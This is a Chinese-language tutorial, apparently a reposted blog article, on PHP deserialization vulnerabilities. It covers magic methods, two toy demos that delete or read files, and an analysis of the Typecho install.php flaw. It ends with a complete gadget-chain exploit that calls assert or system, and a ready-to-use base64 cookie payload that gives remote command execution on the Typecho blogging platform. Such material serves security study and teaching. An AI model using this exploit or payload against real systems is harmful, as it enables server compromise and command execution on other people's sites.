标题 | 简介 | 类型 | 公开时间 | ||||||||||
|
|||||||||||||
|
|||||||||||||
详情 | |||||||||||||
[SAFE-ID: JIWO-2024-2927] 作者: 须臾 发表于: [2021-09-09]
本文共 [480] 位读者顶过
序列化:将对象转换成一个字符串,PHP序列化函数是:serialize() [出自:jiwo.org] 反序列化:将序列化后的字符串还原为一个对象,PHP反序列化函数是:unserialize() 在说反序列化漏洞之前我们先了解一下对象概念: 我们举个例子,如果把生物当成一个大类,那么就可以分为动物和植物两个类,而动物又可以分为食草动物和杂食动物,那有人可能会问了,为什么这么分呢? 因为动物都有嘴,需要吃东西,植物都需要土空气和水,都会吸取养分,那么这些分类我们可以看成php中的类,动物的嘴和植物需要的土空气水都可以当作属性,动物吃东西和植物吸取养分都可以当作方法。世间的万物我们都可以看成是对象,因为他们都有各自的属性。比如:人有身高,体重,年龄,性别等等这些属性,也可以唱歌,跳舞,跑步等等行为。如果把人看成一个类的话,那么身高,体重,年龄,性别这些就是人这个类的属性,而唱歌,跳舞,跑步就是人这个类的行为。 我们来创建一个人类看看,首先要考虑到这个人的姓名(zhangsan),性别(男),年龄(50),还有它会的技能(会忽悠)。 <?php class zhangsan{ public $sex = '男'; public $age = '50'; public function skill(){ echo "没病走两步"; } } class就是定义这个类,$sex就是这个人的性别,$age就是方法,$skill()就是它的技能,那么把类变成对象就很简单了,只需要new一下就变成对象了。 $belles = new zhangsan(); // 看看它的年龄 echo $belles->age; // 换行 echo "\n\r"; // 看看它的技能 echo $belles->skill(); 看看运行结果:
这就是一个简单的对象了,那我们就将它序列化和反序列化一下。 $belles = new zhangsan(); echo serialize($belles); echo "\n\r"; unserialize('O:8:"zhangsan":2:{s:3:"sex";s:3:"男";s:3:"age";s:2:"50";}'); // 看看它的年龄 echo $belles->age;
我们可以看到实例化就是把对象转换成字符串,反序列化就是把字符串在变成对象,之后就可以使用对象的功能了。 再来看看与PHP反序列化漏洞有关的魔法函数,这些函数不用创建,默认存在的。 __destruct() //对象被销毁时触发 __construct() //当一个对象创建时被调用 __wakeup() //使用unserialize时触发 __sleep() //使用serialize时触发 __toString() //把类当作字符串使用时触发 __get() //获取不存在的类属性时触发 __set() //设置不存在的类属性会触发 __isset() //在不可访问的属性上调用isset()或empty()触发 __unset() //在不可访问的属性上使用unset()时触发 __invoke() //当脚本尝试将对象调用为函数时触发 魔术方法的触发条件: <?php class Pers { public $age = '18'; public function __construct(){ echo '创建对象触发'."\n\r"; } public function __destruct(){ echo '销毁对象触发'; } } $per = new Pers(); // 创建对象,触发__construct魔术方法 unset($per); // 销毁对象,触发__destruct魔术方法
可以看到对象在创建的时候调用了construct方法,在销毁的时候调用了destruct方法。 <?php class Pers { public $age = '18'; public function __sleep(){ echo '使用serialize时触发'."\n\r"; return(array('age')); } public function __wakeup(){ echo '使用unserialize时触发'; } } $per = new Pers(); serialize($per); // 序列化,触发__sleep魔术方法 unserialize('O:4:"Pers":1:{s:3:"age";s:2:"18";}'); // 反序列化,触发__wakeup魔术方法
可以看到对象在实例化的时候触发了sleep方法,在反序列化的时候触发了wakeup方法。 <?php class Pers { public $age = '18'; public function __toString(){ return '对象当作字符串使用时触发'."\n\r"; } public function __get($p){ echo '获取类不存在的方法会触发'."\n\r"; } public function __set($n,$v){ echo "设置不存在的类属性会触发"."\n\r"; } } $per = new Pers(); $per->age = '20'; echo $per; // 把对象当成字符串输出 $per->p1; // 获取类不存在的属性 $per->n = 'aa'; // 设置类不存在的属性 对象在echo的时候会把对象当成字符串就会触发__toString方法,获取类不存在的属性p1,触发__get魔术方法,设置类不存在的属性n,触发__set魔术方法。
<?php class Pers { public $age = '18'; public function __isset($p){ echo "判断属性是否存在的时候触发"."\n\r"; } public function __unset($content) { echo "当在类外部使用unset()函数来删不存在的属性时自动调用的"."\n\r"; } public function __invoke($content) { echo "把一个对象当成一个函数去执行"."\n\r"; } } $per = new Pers(); $per->age = '20'; isset($per->aaa); // 判断属性是否存在 unset($per->ages); // 删除不存在的属性 $per('111'); // 把对象当作函数 判断属性是否存在的时候触发__isset魔术方法,删除不存在的属性时候触发__unset魔术方法,把对象当作函数的时候触发__invoke魔术方法。
小案例1先修改值,然后序列化。 // demo1.php <?php class delete{ public $name = 'error'; function __destruct() { echo $this->name.'<br>'; echo $this->name . ' delete'; unlink(dirname(__FILE__).'/'.$this->name); } } // demo2.php <?php include 'demo1.php'; class per{ public $name = ''; public $age = ''; public function infos(){ echo '这里随便'; } } $pers = unserialize($_GET['id']); 分析一下上面的代码,可以看到直接获取id,这个参数可控,我们可以把这个参数输入成delete类的实例化,并把delete类中的$name的参数进行修改成我们想要的,就可以造成文件删除,下面来构造一下Exploit: // 序列化 demo1.php <?php class delete{ public $name = 'error'; } $del = new delete(); $del->name = 'ccc.php'; echo serialize($del); // demo2.php?id=O:6:"delete":1:{s:4:"name";s:7:"ccc.php";} 小案例2// demo3.php <?php class red{ public $name = 'error'; function __toString() { // echo $this->name; return file_get_contents($this->name); } } // demo4.php <?php include 'demo3.php'; class per{ public $name = ''; public $age = ''; public function infos(){ echo '这里随便'; } } $pers = unserialize($_GET['id']); echo $pers; 我们可以看到id参数同样可控的,red类有一个__toString方法,这个方法上面说到了,只要当成字符串使用就会自动调用,可以构造下面的Exploit,来查看文件内容。 // 序列化 demo1.php <?php class red{ public $name = 'error'; } $del = new red(); $del->name = 'ccc.txt'; echo serialize($del);
Typecho安装文件反序列化漏洞漏洞代码分析: // 要让代码执行到这里需要满足一些条件: //判断是否已经安装 if (!isset($_GET['finish']) && file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php') && empty($_SESSION['typecho'])) { exit; } // 挡掉可能的跨站请求 if (!empty($_GET) || !empty($_POST)) { if (empty($_SERVER['HTTP_REFERER'])) { exit; } $parts = parse_url($_SERVER['HTTP_REFERER']); if (!empty($parts['port']) && $parts['port'] != 80 && !Typecho_Common::isAppEngine()) { $parts['host'] = "{$parts['host']}:{$parts['port']}"; } if (empty($parts['host']) || $_SERVER['HTTP_HOST'] != $parts['host']) { exit; } } // install.php <?php // 先调用了Typecho_Cookie::get()方法获取Cookie中的__typecho_config的值,在base64解密 // 由此可以判断出poc应该进行base64加密放在cookie中 $config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config'))); Typecho_Cookie::delete('__typecho_config'); // 然后调用Typecho_Db $db = new Typecho_Db($config['adapter'], $config['prefix']); $db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE); Typecho_Db::set($db); ?> // 在Typecho_Db方法中进入到__construct方法 public function __construct($adapterName, $prefix = 'typecho_') { $this->_adapterName = $adapterName; // 这里进行的拼接操作,这里可以判断出可能会触发类的__toString()方法 $adapterName = 'Typecho_Db_Adapter_' . $adapterName; // ...省略 } // 其中有三个类有使用__toString()方法: // var/Typecho/Config.php // var/Typecho/Feed.php // var/Typecho/Db/Query.php // 其中Feed可以利用,在Feed__toString()方法中的290行 foreach ($this->_items as $item) { $content .= '<item>' . self::EOL; $content .= '<title>' . htmlspecialchars($item['title']) . '</title>' . self::EOL; $content .= '<link>' . $item['link'] . '</link>' . self::EOL; $content .= '<guid>' . $item['link'] . '</guid>' . self::EOL; $content .= '<pubDate>' . $this->dateFormat($item['date']) . '</pubDate>' . self::EOL; // 在这里,我们可以控制变量为不可访问的属性phpinfo();,这时候可以判断出可能会触发类的__get()魔术方法 $content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL; // 在文件Request.php中的__get()方法中,获取到了screenName public function __get($key) { echo $key;exit;//screenName return $this->get($key); // 跟进$this->get($key)就是获取screenName的值为phpinfo(),很简单不写了,然后他调了return $this->_applyFilter($value); } // 再跟进$this->_applyFilter($value) private function _applyFilter($value) { if ($this->_filter) { foreach ($this->_filter as $filter) { var_dump($filter.'--'. $value);exit; // 这里可以看到获取了两个值 "assert--phpinfo()",并交给call_user_func处理 $value = is_array($value) ? array_map($filter, $value) : call_user_func($filter, $value); //。。。省略 我们再来回顾一边漏洞产生的步骤: 1.从Cookie或者POST的数据中寻找到'__typecho_config'字段。 2.然后调用'__typecho_config'中的'adapter'和'prefix'实例化一个Typecho_Db类。 3.在实例化过程中,采用了字符串拼接访问了'adapter',当我们设置的'adapter'字段是一个类的话,就会触发这个类的__toString()魔术方法。 4.寻找到Feed这个类中的__toString() 魔术方法,访问了$item['author']->screenName。 5.当$item['author']->screenName为一个不可访问的属性时,将会触发该类的__get()魔术方法 6.Typecho_Request类的魔术方法中,调用了get(),该方法内,检测了_params[$key]是否存在。 7.将params[$key]的值传入applyFilter()方法,并执行代码。 // Exploit如下: <?php class Typecho_Feed { const RSS1 = 'RSS 1.0'; const RSS2 = 'RSS 2.0'; const ATOM1 = 'ATOM 1.0'; const DATE_RFC822 = 'r'; const DATE_W3CDTF = 'c'; const EOL = "\n"; private $_type; private $_items; public function __construct(){ $this->_type = $this::RSS2; $this->_items[0] = array( 'title' => '1', 'link' => '1', 'date' => 1508895132, 'category' => array(new Typecho_Request()), 'author' => new Typecho_Request(), ); } } class Typecho_Request { private $_params = array(); private $_filter = array(); public function __construct(){ $this->_params['screenName'] = 'phpinfo()'; $this->_filter[0] = 'assert'; } // 执行系统命令 // public function __construct(){ // $this->_params['screenName'] = 'ipconfig'; // $this->_filter[0] = 'system'; // } } $exp = array( 'adapter' => new Typecho_Feed(), 'prefix' => 'typecho_' ); echo base64_encode(serialize($exp)); // payload __typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YTo1OntzOjU6InRpdGxlIjtzOjE6IjEiO3M6NDoibGluayI7czoxOiIxIjtzOjQ6ImRhdGUiO2k6MTUwODg5NTEzMjtzOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjg6ImlwY29uZmlnIjt9czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfZmlsdGVyIjthOjE6e2k6MDtzOjY6InN5c3RlbSI7fX19czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO3M6ODoiaXBjb25maWciO31zOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9maWx0ZXIiO2E6MTp7aTowO3M6Njoic3lzdGVtIjt9fX19fXM6NjoicHJlZml4IjtzOjg6InR5cGVjaG9fIjt9 复现漏洞: 将payload传入cookie中。
|